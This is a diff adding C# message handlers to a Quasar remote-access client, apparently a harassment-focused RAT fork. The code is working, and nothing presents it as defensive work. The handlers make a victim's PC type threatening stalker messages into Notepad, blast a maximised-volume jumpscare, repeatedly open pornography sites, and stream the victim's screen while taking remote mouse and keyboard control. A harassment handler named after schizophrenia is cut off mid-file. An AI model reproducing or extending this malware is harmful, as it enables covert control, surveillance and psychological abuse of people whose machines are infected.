|
float tby = 3*(it*it*(cy - 50f - innerY) + 2*it*t*(cy - 52f - (cy - 50f)) + t*t*(outerY - (cy - 52f)));
|
||||||
|
|
||||||
|
// Normal pointing outward (away from eye center = upward here)
|
||||||
|
float len = (float)Math.Sqrt(tbx*tbx + tby*tby);
|
||||||
|
if (len < 0.001f) continue;
|
||||||
|
float nx = -tby / len, ny = tbx / len;
|
||||||
|
|
||||||
|
// Vary lash length — longer in middle
|
||||||
|
float mid = Math.Abs(t - 0.45f) * 2f;
|
||||||
|
float lashLen = 14f - mid * 6f;
|
||||||
|
|
||||||
|
// Slight outward curl
|
||||||
|
float curlX = nx * lashLen + ny * lashLen * 0.18f;
|
||||||
|
float curlY = ny * lashLen - nx * lashLen * 0.18f;
|
||||||
|
|
||||||
|
g.DrawLine(pen, bx, by, bx + curlX, by + curlY);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
protected override void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing) _timer?.Dispose();
|
||||||
|
base.Dispose(disposing);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,115 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class GhostTypingHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")] private static extern bool SetForegroundWindow(IntPtr hWnd);
|
||||||
|
[DllImport("user32.dll")] private static extern bool ShowWindow(IntPtr hWnd, int nCmdShow);
|
||||||
|
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||||
|
[DllImport("user32.dll")] private static extern short VkKeyScan(char ch);
|
||||||
|
[DllImport("user32.dll")] private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||||
|
|
||||||
|
private const int SW_RESTORE = 9;
|
||||||
|
private const uint KEYEVENTF_KEYUP = 0x0002;
|
||||||
|
private const byte VK_SHIFT = 0x10;
|
||||||
|
|
||||||
|
private static readonly string[] Messages =
|
||||||
|
{
|
||||||
|
"I know you can hear me.",
|
||||||
|
"Stop pretending you're alone.",
|
||||||
|
"I've been watching you for a while now.",
|
||||||
|
"Did you hear that? No? You will.",
|
||||||
|
"You should close the curtains.",
|
||||||
|
"I'm closer than you think.",
|
||||||
|
"Did you check under the bed?",
|
||||||
|
"Someone was in your room last night.",
|
||||||
|
"Don't turn around.",
|
||||||
|
"I can see your face right now.",
|
||||||
|
"You really should lock your doors.",
|
||||||
|
"Have you noticed anything missing lately?",
|
||||||
|
"The calls are coming from inside the house.",
|
||||||
|
"I'll be there soon. Don't worry.",
|
||||||
|
"We've been here the whole time.",
|
||||||
|
};
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoGhostTyping;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
new Thread(Run) { IsBackground = true }.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void TypeChar(char c)
|
||||||
|
{
|
||||||
|
short vk = VkKeyScan(c);
|
||||||
|
if (vk == -1) return;
|
||||||
|
|
||||||
|
byte key = (byte)(vk & 0xFF);
|
||||||
|
bool shift = ((vk >> 8) & 1) != 0;
|
||||||
|
|
||||||
|
if (shift) keybd_event(VK_SHIFT, 0, 0, 0);
|
||||||
|
keybd_event(key, 0, 0, 0);
|
||||||
|
keybd_event(key, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
if (shift) keybd_event(VK_SHIFT, 0, KEYEVENTF_KEYUP, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void Run()
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
string text = Messages[rng.Next(Messages.Length)];
|
||||||
|
|
||||||
|
var proc = Process.Start("notepad.exe");
|
||||||
|
if (proc == null) return;
|
||||||
|
|
||||||
|
// wait for window handle
|
||||||
|
IntPtr hwnd = IntPtr.Zero;
|
||||||
|
for (int i = 0; i < 40; i++)
|
||||||
|
{
|
||||||
|
Thread.Sleep(200);
|
||||||
|
proc.Refresh();
|
||||||
|
if (proc.MainWindowHandle != IntPtr.Zero)
|
||||||
|
{
|
||||||
|
hwnd = proc.MainWindowHandle;
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
if (hwnd == IntPtr.Zero) return;
|
||||||
|
|
||||||
|
ShowWindow(hwnd, SW_RESTORE);
|
||||||
|
|
||||||
|
// keep trying to focus until it actually has it
|
||||||
|
for (int i = 0; i < 20; i++)
|
||||||
|
{
|
||||||
|
SetForegroundWindow(hwnd);
|
||||||
|
Thread.Sleep(100);
|
||||||
|
if (GetForegroundWindow() == hwnd) break;
|
||||||
|
}
|
||||||
|
|
||||||
|
Thread.Sleep(rng.Next(1200, 2500));
|
||||||
|
|
||||||
|
foreach (char c in text)
|
||||||
|
{
|
||||||
|
if (GetForegroundWindow() != hwnd)
|
||||||
|
SetForegroundWindow(hwnd);
|
||||||
|
|
||||||
|
TypeChar(c);
|
||||||
|
Thread.Sleep(rng.Next(80, 200));
|
||||||
|
|
||||||
|
if (rng.Next(8) == 0)
|
||||||
|
Thread.Sleep(rng.Next(400, 900));
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,106 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.IO;
|
||||||
|
using System.IO.Compression;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class JumpscareHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")]
|
||||||
|
private static extern void keybd_event(byte bVk, byte bScan, uint dwFlags, int dwExtraInfo);
|
||||||
|
|
||||||
|
private const byte VK_VOLUME_UP = 0xAF;
|
||||||
|
|
||||||
|
private static void MaximizeVolume()
|
||||||
|
{
|
||||||
|
for (int i = 0; i < 50; i++)
|
||||||
|
keybd_event(VK_VOLUME_UP, 0, 0, 0);
|
||||||
|
}
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoJumpscare;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
if (message is DoJumpscare js)
|
||||||
|
new Thread(() => RunJumpscare(js)) { IsBackground = true }.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static byte[] GzipDecompress(byte[] data)
|
||||||
|
{
|
||||||
|
using (var input = new MemoryStream(data))
|
||||||
|
using (var gz = new GZipStream(input, CompressionMode.Decompress))
|
||||||
|
using (var output = new MemoryStream())
|
||||||
|
{
|
||||||
|
gz.CopyTo(output);
|
||||||
|
return output.ToArray();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void RunJumpscare(DoJumpscare js)
|
||||||
|
{
|
||||||
|
MaximizeVolume();
|
||||||
|
|
||||||
|
string wavPath = Path.Combine(Path.GetTempPath(), "js_scream.wav");
|
||||||
|
string gifPath = Path.Combine(Path.GetTempPath(), "js_scary.gif");
|
||||||
|
|
||||||
|
try { File.WriteAllBytes(wavPath, GzipDecompress(js.WavData)); } catch { }
|
||||||
|
try { File.WriteAllBytes(gifPath, GzipDecompress(js.GifData)); } catch { }
|
||||||
|
|
||||||
|
Form form = null;
|
||||||
|
|
||||||
|
var uiThread = new Thread(() =>
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
using (var player = new System.Media.SoundPlayer(wavPath))
|
||||||
|
player.Play();
|
||||||
|
|
||||||
|
Image gif = null;
|
||||||
|
try { gif = Image.FromFile(gifPath); } catch { }
|
||||||
|
|
||||||
|
form = new Form
|
||||||
|
{
|
||||||
|
FormBorderStyle = FormBorderStyle.None,
|
||||||
|
WindowState = FormWindowState.Maximized,
|
||||||
|
TopMost = true,
|
||||||
|
BackColor = Color.Black,
|
||||||
|
ShowInTaskbar = false,
|
||||||
|
};
|
||||||
|
|
||||||
|
if (gif != null)
|
||||||
|
{
|
||||||
|
var pb = new PictureBox
|
||||||
|
{
|
||||||
|
Image = gif,
|
||||||
|
Dock = DockStyle.Fill,
|
||||||
|
SizeMode = PictureBoxSizeMode.StretchImage,
|
||||||
|
};
|
||||||
|
form.Controls.Add(pb);
|
||||||
|
}
|
||||||
|
|
||||||
|
Application.Run(form);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
});
|
||||||
|
uiThread.SetApartmentState(ApartmentState.STA);
|
||||||
|
uiThread.IsBackground = true;
|
||||||
|
uiThread.Start();
|
||||||
|
|
||||||
|
// wait for form to be created, then close it after 2 seconds
|
||||||
|
Thread.Sleep(2500);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
if (form != null && !form.IsDisposed)
|
||||||
|
form.Invoke(new Action(() => form.Close()));
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,39 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class MessageBoxHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
public bool CanExecute(IMessage message) => message is DoShowMessageBox;
|
||||||
|
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoShowMessageBox msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, DoShowMessageBox message)
|
||||||
|
{
|
||||||
|
new Thread(() =>
|
||||||
|
{
|
||||||
|
// messagebox thread resides in csrss.exe - wtf?
|
||||||
|
MessageBox.Show(message.Text, message.Caption,
|
||||||
|
(MessageBoxButtons)Enum.Parse(typeof(MessageBoxButtons), message.Button),
|
||||||
|
(MessageBoxIcon)Enum.Parse(typeof(MessageBoxIcon), message.Icon),
|
||||||
|
MessageBoxDefaultButton.Button1, MessageBoxOptions.DefaultDesktopOnly);
|
||||||
|
}) {IsBackground = true}.Start();
|
||||||
|
|
||||||
|
client.Send(new SetStatus { Message = "Successfully displayed MessageBox" });
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,11 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public abstract class NotificationMessageProcessor : MessageProcessorBase<string>
|
||||||
|
{
|
||||||
|
protected NotificationMessageProcessor() : base(true)
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
File diff suppressed because one or more lines are too long
@@ -0,0 +1,117 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class PianoHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
public bool CanExecute(IMessage message) => message is DoPlayNote;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
var note = (DoPlayNote)message;
|
||||||
|
new Thread(() => PlayNote(note.Frequency, note.DurationMs)) { IsBackground = true }.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
// ── waveOut P/Invoke ─────────────────────────────────────────────────
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct WAVEFORMATEX
|
||||||
|
{
|
||||||
|
public ushort wFormatTag, nChannels;
|
||||||
|
public uint nSamplesPerSec, nAvgBytesPerSec;
|
||||||
|
public ushort nBlockAlign, wBitsPerSample, cbSize;
|
||||||
|
}
|
||||||
|
|
||||||
|
[StructLayout(LayoutKind.Sequential)]
|
||||||
|
private struct WAVEHDR
|
||||||
|
{
|
||||||
|
public IntPtr lpData;
|
||||||
|
public uint dwBufferLength, dwBytesRecorded;
|
||||||
|
public IntPtr dwUser;
|
||||||
|
public uint dwFlags, dwLoops;
|
||||||
|
public IntPtr lpNext, reserved;
|
||||||
|
}
|
||||||
|
|
||||||
|
[DllImport("winmm.dll")] static extern uint waveOutOpen(out IntPtr h, uint dev, ref WAVEFORMATEX fmt, IntPtr cb, IntPtr inst, uint flags);
|
||||||
|
[DllImport("winmm.dll")] static extern uint waveOutPrepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||||
|
[DllImport("winmm.dll")] static extern uint waveOutWrite(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||||
|
[DllImport("winmm.dll")] static extern uint waveOutUnprepareHeader(IntPtr h, ref WAVEHDR hdr, uint sz);
|
||||||
|
[DllImport("winmm.dll")] static extern uint waveOutClose(IntPtr h);
|
||||||
|
|
||||||
|
private const uint WAVE_MAPPER = 0xFFFFFFFF;
|
||||||
|
private const int SAMPLE_RATE = 44100;
|
||||||
|
|
||||||
|
private static void PlayNote(int frequency, int durationMs)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
int numSamples = SAMPLE_RATE * durationMs / 1000;
|
||||||
|
byte[] buf = new byte[numSamples * 2]; // 16-bit mono PCM
|
||||||
|
|
||||||
|
int attack = Math.Min(200, numSamples / 8);
|
||||||
|
int release = Math.Min(8000, numSamples * 2 / 3);
|
||||||
|
|
||||||
|
for (int i = 0; i < numSamples; i++)
|
||||||
|
{
|
||||||
|
double t = (double)i / SAMPLE_RATE;
|
||||||
|
|
||||||
|
// Natural piano-like amplitude envelope
|
||||||
|
double env = 1.0;
|
||||||
|
if (i < attack)
|
||||||
|
env = (double)i / attack;
|
||||||
|
else if (i > numSamples - release)
|
||||||
|
env = (double)(numSamples - i) / release;
|
||||||
|
|
||||||
|
// Fundamental + harmonics with exponential decay (makes it sound like a struck string)
|
||||||
|
double decay = Math.Exp(-3.5 * t);
|
||||||
|
double wave = env * (
|
||||||
|
0.60 * Math.Sin(2 * Math.PI * frequency * t) * (0.35 + 0.65 * decay) +
|
||||||
|
0.22 * Math.Sin(2 * Math.PI * frequency * 2.0 * t) * decay +
|
||||||
|
0.10 * Math.Sin(2 * Math.PI * frequency * 3.0 * t) * decay +
|
||||||
|
0.05 * Math.Sin(2 * Math.PI * frequency * 4.0 * t) * decay +
|
||||||
|
0.03 * Math.Sin(2 * Math.PI * frequency * 5.0 * t) * decay
|
||||||
|
);
|
||||||
|
|
||||||
|
short pcm = (short)(wave * 26000);
|
||||||
|
buf[i * 2] = (byte)(pcm & 0xFF);
|
||||||
|
buf[i * 2 + 1] = (byte)((pcm >> 8) & 0xFF);
|
||||||
|
}
|
||||||
|
|
||||||
|
var fmt = new WAVEFORMATEX
|
||||||
|
{
|
||||||
|
wFormatTag = 1, // PCM
|
||||||
|
nChannels = 1,
|
||||||
|
nSamplesPerSec = SAMPLE_RATE,
|
||||||
|
wBitsPerSample = 16,
|
||||||
|
nBlockAlign = 2,
|
||||||
|
nAvgBytesPerSec = SAMPLE_RATE * 2
|
||||||
|
};
|
||||||
|
|
||||||
|
IntPtr hWave;
|
||||||
|
if (waveOutOpen(out hWave, WAVE_MAPPER, ref fmt, IntPtr.Zero, IntPtr.Zero, 0) != 0) return;
|
||||||
|
|
||||||
|
GCHandle pin = GCHandle.Alloc(buf, GCHandleType.Pinned);
|
||||||
|
try
|
||||||
|
{
|
||||||
|
uint hdrSz = (uint)Marshal.SizeOf(typeof(WAVEHDR));
|
||||||
|
var hdr = new WAVEHDR { lpData = pin.AddrOfPinnedObject(), dwBufferLength = (uint)buf.Length };
|
||||||
|
waveOutPrepareHeader(hWave, ref hdr, hdrSz);
|
||||||
|
waveOutWrite(hWave, ref hdr, hdrSz);
|
||||||
|
Thread.Sleep(durationMs + 100); // wait for playback to finish
|
||||||
|
waveOutUnprepareHeader(hWave, ref hdr, hdrSz);
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
pin.Free();
|
||||||
|
waveOutClose(hWave);
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,114 @@
|
|||||||
|
using Microsoft.Win32;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Diagnostics;
|
||||||
|
using System.IO;
|
||||||
|
using System.Threading;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class PornSpamHandler : IMessageProcessor, IDisposable
|
||||||
|
{
|
||||||
|
private static readonly string[] Urls =
|
||||||
|
{
|
||||||
|
"https://www.pornhub.com",
|
||||||
|
"https://www.xvideos.com",
|
||||||
|
"https://www.xhamster.com",
|
||||||
|
"https://www.xnxx.com",
|
||||||
|
"https://www.redtube.com",
|
||||||
|
"https://www.youporn.com",
|
||||||
|
"https://www.spankbang.com",
|
||||||
|
"https://www.tube8.com",
|
||||||
|
};
|
||||||
|
|
||||||
|
private Thread _thread;
|
||||||
|
private volatile bool _running;
|
||||||
|
|
||||||
|
public bool CanExecute(IMessage message) => message is DoStartPornSpam || message is DoStopPornSpam;
|
||||||
|
public bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case DoStartPornSpam _:
|
||||||
|
Start();
|
||||||
|
break;
|
||||||
|
case DoStopPornSpam _:
|
||||||
|
Stop();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Start()
|
||||||
|
{
|
||||||
|
if (_running) return;
|
||||||
|
_running = true;
|
||||||
|
_thread = new Thread(() =>
|
||||||
|
{
|
||||||
|
var rng = new Random();
|
||||||
|
while (_running)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
OpenInNewWindow(Urls[rng.Next(Urls.Length)]);
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
Thread.Sleep(800);
|
||||||
|
}
|
||||||
|
});
|
||||||
|
_thread.IsBackground = true;
|
||||||
|
_thread.Start();
|
||||||
|
}
|
||||||
|
|
||||||
|
private static void OpenInNewWindow(string url)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
string progId = Microsoft.Win32.Registry.GetValue(
|
||||||
|
@"HKEY_CURRENT_USER\Software\Microsoft\Windows\Shell\Associations\UrlAssociations\https\UserChoice",
|
||||||
|
"ProgId", null) as string;
|
||||||
|
|
||||||
|
if (progId != null)
|
||||||
|
{
|
||||||
|
string command = Microsoft.Win32.Registry.GetValue(
|
||||||
|
$@"HKEY_CLASSES_ROOT\{progId}\shell\open\command",
|
||||||
|
null, null) as string;
|
||||||
|
|
||||||
|
if (command != null)
|
||||||
|
{
|
||||||
|
string exePath = command.StartsWith("\"")
|
||||||
|
? command.Substring(1, command.IndexOf('"', 1) - 1)
|
||||||
|
: command.Split(' ')[0];
|
||||||
|
|
||||||
|
if (File.Exists(exePath))
|
||||||
|
{
|
||||||
|
string exeName = Path.GetFileNameWithoutExtension(exePath).ToLower();
|
||||||
|
string flag = exeName == "firefox" ? "-new-window" : "--new-window";
|
||||||
|
Process.Start(new ProcessStartInfo(exePath, $"{flag} \"{url}\"")
|
||||||
|
{
|
||||||
|
UseShellExecute = false
|
||||||
|
});
|
||||||
|
return;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch { }
|
||||||
|
|
||||||
|
// Fallback if registry lookup fails
|
||||||
|
Process.Start(new ProcessStartInfo(url) { UseShellExecute = true });
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Stop()
|
||||||
|
{
|
||||||
|
_running = false;
|
||||||
|
}
|
||||||
|
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Stop();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,205 @@
|
|||||||
|
using Quasar.Client.Helper;
|
||||||
|
using Quasar.Common.Enums;
|
||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using Quasar.Common.Video;
|
||||||
|
using Quasar.Common.Video.Codecs;
|
||||||
|
using System;
|
||||||
|
using System.Drawing;
|
||||||
|
using System.Drawing.Imaging;
|
||||||
|
using System.IO;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class RemoteDesktopHandler : NotificationMessageProcessor, IDisposable
|
||||||
|
{
|
||||||
|
private UnsafeStreamCodec _streamCodec;
|
||||||
|
|
||||||
|
public override bool CanExecute(IMessage message) => message is GetDesktop ||
|
||||||
|
message is DoMouseEvent ||
|
||||||
|
message is DoKeyboardEvent ||
|
||||||
|
message is GetMonitors;
|
||||||
|
|
||||||
|
public override bool CanExecuteFrom(ISender sender) => true;
|
||||||
|
|
||||||
|
public override void Execute(ISender sender, IMessage message)
|
||||||
|
{
|
||||||
|
switch (message)
|
||||||
|
{
|
||||||
|
case GetDesktop msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case DoMouseEvent msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case DoKeyboardEvent msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
case GetMonitors msg:
|
||||||
|
Execute(sender, msg);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, GetDesktop message)
|
||||||
|
{
|
||||||
|
// TODO: Switch to streaming mode without request-response once switched from windows forms
|
||||||
|
// TODO: Capture mouse in frames: https://stackoverflow.com/questions/6750056/how-to-capture-the-screen-and-mouse-pointer-using-windows-apis
|
||||||
|
var monitorBounds = ScreenHelper.GetBounds((message.DisplayIndex));
|
||||||
|
var resolution = new Resolution { Height = monitorBounds.Height, Width = monitorBounds.Width };
|
||||||
|
|
||||||
|
if (_streamCodec == null)
|
||||||
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||||
|
|
||||||
|
if (message.CreateNew)
|
||||||
|
{
|
||||||
|
_streamCodec?.Dispose();
|
||||||
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||||
|
OnReport("Remote desktop session started");
|
||||||
|
}
|
||||||
|
|
||||||
|
if (_streamCodec.ImageQuality != message.Quality || _streamCodec.Monitor != message.DisplayIndex || _streamCodec.Resolution != resolution)
|
||||||
|
{
|
||||||
|
_streamCodec?.Dispose();
|
||||||
|
|
||||||
|
_streamCodec = new UnsafeStreamCodec(message.Quality, message.DisplayIndex, resolution);
|
||||||
|
}
|
||||||
|
|
||||||
|
BitmapData desktopData = null;
|
||||||
|
Bitmap desktop = null;
|
||||||
|
try
|
||||||
|
{
|
||||||
|
desktop = ScreenHelper.CaptureScreen(message.DisplayIndex);
|
||||||
|
desktopData = desktop.LockBits(new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||||
|
ImageLockMode.ReadWrite, desktop.PixelFormat);
|
||||||
|
|
||||||
|
using (MemoryStream stream = new MemoryStream())
|
||||||
|
{
|
||||||
|
if (_streamCodec == null) throw new Exception("StreamCodec can not be null.");
|
||||||
|
_streamCodec.CodeImage(desktopData.Scan0,
|
||||||
|
new Rectangle(0, 0, desktop.Width, desktop.Height),
|
||||||
|
new Size(desktop.Width, desktop.Height),
|
||||||
|
desktop.PixelFormat, stream);
|
||||||
|
client.Send(new GetDesktopResponse
|
||||||
|
{
|
||||||
|
Image = stream.ToArray(),
|
||||||
|
Quality = _streamCodec.ImageQuality,
|
||||||
|
Monitor = _streamCodec.Monitor,
|
||||||
|
Resolution = _streamCodec.Resolution
|
||||||
|
});
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch (Exception)
|
||||||
|
{
|
||||||
|
if (_streamCodec != null)
|
||||||
|
{
|
||||||
|
client.Send(new GetDesktopResponse
|
||||||
|
{
|
||||||
|
Image = null,
|
||||||
|
Quality = _streamCodec.ImageQuality,
|
||||||
|
Monitor = _streamCodec.Monitor,
|
||||||
|
Resolution = _streamCodec.Resolution
|
||||||
|
});
|
||||||
|
}
|
||||||
|
|
||||||
|
_streamCodec = null;
|
||||||
|
}
|
||||||
|
finally
|
||||||
|
{
|
||||||
|
if (desktop != null)
|
||||||
|
{
|
||||||
|
if (desktopData != null)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
desktop.UnlockBits(desktopData);
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
desktop.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender sender, DoMouseEvent message)
|
||||||
|
{
|
||||||
|
try
|
||||||
|
{
|
||||||
|
Screen[] allScreens = Screen.AllScreens;
|
||||||
|
int offsetX = allScreens[message.MonitorIndex].Bounds.X;
|
||||||
|
int offsetY = allScreens[message.MonitorIndex].Bounds.Y;
|
||||||
|
Point p = new Point(message.X + offsetX, message.Y + offsetY);
|
||||||
|
|
||||||
|
// Disable screensaver if active before input
|
||||||
|
switch (message.Action)
|
||||||
|
{
|
||||||
|
case MouseAction.LeftDown:
|
||||||
|
case MouseAction.LeftUp:
|
||||||
|
case MouseAction.RightDown:
|
||||||
|
case MouseAction.RightUp:
|
||||||
|
case MouseAction.MoveCursor:
|
||||||
|
if (NativeMethodsHelper.IsScreensaverActive())
|
||||||
|
NativeMethodsHelper.DisableScreensaver();
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
|
||||||
|
switch (message.Action)
|
||||||
|
{
|
||||||
|
case MouseAction.LeftDown:
|
||||||
|
case MouseAction.LeftUp:
|
||||||
|
NativeMethodsHelper.DoMouseLeftClick(p, message.IsMouseDown);
|
||||||
|
break;
|
||||||
|
case MouseAction.RightDown:
|
||||||
|
case MouseAction.RightUp:
|
||||||
|
NativeMethodsHelper.DoMouseRightClick(p, message.IsMouseDown);
|
||||||
|
break;
|
||||||
|
case MouseAction.MoveCursor:
|
||||||
|
NativeMethodsHelper.DoMouseMove(p);
|
||||||
|
break;
|
||||||
|
case MouseAction.ScrollDown:
|
||||||
|
NativeMethodsHelper.DoMouseScroll(p, true);
|
||||||
|
break;
|
||||||
|
case MouseAction.ScrollUp:
|
||||||
|
NativeMethodsHelper.DoMouseScroll(p, false);
|
||||||
|
break;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
catch
|
||||||
|
{
|
||||||
|
}
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender sender, DoKeyboardEvent message)
|
||||||
|
{
|
||||||
|
if (NativeMethodsHelper.IsScreensaverActive())
|
||||||
|
NativeMethodsHelper.DisableScreensaver();
|
||||||
|
|
||||||
|
NativeMethodsHelper.DoKeyPress(message.Key, message.KeyDown);
|
||||||
|
}
|
||||||
|
|
||||||
|
private void Execute(ISender client, GetMonitors message)
|
||||||
|
{
|
||||||
|
client.Send(new GetMonitorsResponse {Number = Screen.AllScreens.Length});
|
||||||
|
}
|
||||||
|
|
||||||
|
/// <summary>
|
||||||
|
/// Disposes all managed and unmanaged resources associated with this message processor.
|
||||||
|
/// </summary>
|
||||||
|
public void Dispose()
|
||||||
|
{
|
||||||
|
Dispose(true);
|
||||||
|
GC.SuppressFinalize(this);
|
||||||
|
}
|
||||||
|
|
||||||
|
protected virtual void Dispose(bool disposing)
|
||||||
|
{
|
||||||
|
if (disposing)
|
||||||
|
{
|
||||||
|
_streamCodec?.Dispose();
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
|
}
|
||||||
@@ -0,0 +1,231 @@
|
|||||||
|
using Quasar.Common.Messages;
|
||||||
|
using Quasar.Common.Networking;
|
||||||
|
using System;
|
||||||
|
using System.Runtime.InteropServices;
|
||||||
|
using System.Speech.Synthesis;
|
||||||
|
using System.Threading;
|
||||||
|
using System.Windows.Forms;
|
||||||
|
|
||||||
|
namespace Quasar.Client.Messages
|
||||||
|
{
|
||||||
|
public class SchizophreniaHandler : IMessageProcessor
|
||||||
|
{
|
||||||
|
[DllImport("user32.dll")] private static extern IntPtr GetForegroundWindow();
|
||||||
|
[DllImport("user32.dll")] private static extern bool GetWindowRect(IntPtr hWnd, out RECT rect);
|
||||||
|
[DllImport("user32.dll")] private static extern bool MoveWindow(IntPtr hWnd, int x, int y, int w, int h, bool repaint);
|
||||||
|
[DllImport("user32.dll")] private static extern IntPtr FindWindow(string cls, string name);
|
||||||
|
